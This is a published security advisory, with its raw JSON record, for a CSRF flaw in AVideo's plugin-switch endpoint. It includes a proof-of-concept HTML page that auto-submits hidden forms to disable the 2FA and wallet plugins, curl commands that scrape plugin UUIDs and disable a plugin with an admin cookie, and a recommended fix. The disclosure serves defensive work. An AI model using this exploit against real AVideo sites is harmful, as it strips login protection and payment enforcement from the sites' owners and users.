GHSA-HQXF-MHFW-RC44

Vulnerability from github – Published: 2026-04-01 20:54 – Updated: 2026-04-01 20:54
VLAI?
Summary
AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins
Details

Summary

The AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.

Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.

Details

The objects/pluginSwitch.json.php endpoint checks admin status but performs no CSRF validation:

// objects/pluginSwitch.json.php
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

$obj = new Plugin(0);
$obj->loadFromUUID($_POST['uuid']);
$obj->setStatus($_POST['status']);
$obj->save();

The plugins table is explicitly excluded from the ORM security check at objects/Object.php:529:

// objects/Object.php:529
public static function ignoreTableSecurityCheck() {
    return array(
        'plugins',
        // ... other tables
    );
}

This means the save() call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.

Plugin UUIDs are hardcoded in each plugin's getUUID() method and are consistent across all AVideo installations. Examples:

Plugin UUID
Gallery a06505bf-3570-4b1f-977a-fd0e5cab205d
LoginControl LoginControl-5ee8405eaaa16
Live e06b161c-cbd0-4c1d-a484-71018efa2f35
YPTWallet 2faf2eeb-88ac-48e1-a098-37e76ae3e9f3

These are also exposed in frontend JavaScript:

// design_first_page.php:99
var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';

Proof of Concept

Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):

<!DOCTYPE html>
<html>
<head><title>AVI-031 PoC - Disable Security Plugin</title></head>
<body>
<h1>Loading content...</h1>

<!-- Disable LoginControl (2FA / brute force protection) -->
<iframe name="f1" style="display:none"></iframe>
<form id="disable1" method="POST" target="f1"
      action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
  <input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" />
  <input type="hidden" name="status" value="inactive" />
</form>

<!-- Disable YPTWallet (subscription/payment enforcement) -->
<iframe name="f2" style="display:none"></iframe>
<form id="disable2" method="POST" target="f2"
      action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
  <input type="hidden" name="uuid" value="2faf2eeb-88ac-48e1-a098-37e76ae3e9f3" />
  <input type="hidden" name="status" value="inactive" />
</form>

<script>
  document.getElementById('disable1').submit();
  document.getElementById('disable2').submit();
</script>
</body>
</html>

To find plugin UUIDs on a target instance:

# UUIDs are exposed in the frontend source
curl -s "https://your-avideo-instance.com/" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'

Verification with curl:

# Disable a plugin using an admin session
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/objects/pluginSwitch.json.php" \
  -d "uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive"

# Verify the plugin is now inactive
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  "https://your-avideo-instance.com/admin/index.php" | grep -A2 "Gallery"

Impact

An attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:

  • LoginControl: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.
  • Subscription/PayPal/Stripe plugins: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.
  • Access control plugins: Restrict content visibility. Disabling them exposes private or restricted videos.

The attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the SameSite=None cookie policy ensures cross-origin delivery of the admin session.

  • CWE-352: Cross-Site Request Forgery

Recommended Fix

Add CSRF token validation at objects/pluginSwitch.json.php:11, after the admin check:

// objects/pluginSwitch.json.php:11
if (!isGlobalTokenValid()) {
    forbiddenPage('Invalid CSRF token');
}

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T20:54:07Z",
    "nvd_published_at": "2026-03-31T21:16:31Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n    die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n\n$obj = new Plugin(0);\n$obj-\u003eloadFromUUID($_POST[\u0027uuid\u0027]);\n$obj-\u003esetStatus($_POST[\u0027status\u0027]);\n$obj-\u003esave();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n    return array(\n        \u0027plugins\u0027,\n        // ... other tables\n    );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin\u0027s `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = \u0027a06505bf-3570-4b1f-977a-fd0e5cab205d\u0027;\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-031 PoC - Disable Security Plugin\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading content...\u003c/h1\u003e\n\n\u003c!-- Disable LoginControl (2FA / brute force protection) --\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable1\" method=\"POST\" target=\"f1\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"LoginControl-5ee8405eaaa16\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003c!-- Disable YPTWallet (subscription/payment enforcement) --\u003e\n\u003ciframe name=\"f2\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable2\" method=\"POST\" target=\"f2\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"2faf2eeb-88ac-48e1-a098-37e76ae3e9f3\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003cscript\u003e\n  document.getElementById(\u0027disable1\u0027).submit();\n  document.getElementById(\u0027disable2\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP \u0027[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\u0027\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n  -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d\u0026status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n    forbiddenPage(\u0027Invalid CSRF token\u0027);\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-hqxf-mhfw-rc44",
  "modified": "2026-04-01T20:54:07Z",
  "published": "2026-04-01T20:54:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hqxf-mhfw-rc44"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/7ddfe4ec270d720e11f5dc28db73dfcd2cf9192a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/da375103d59118d1c1b1801ac7fce3cd426f8736"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…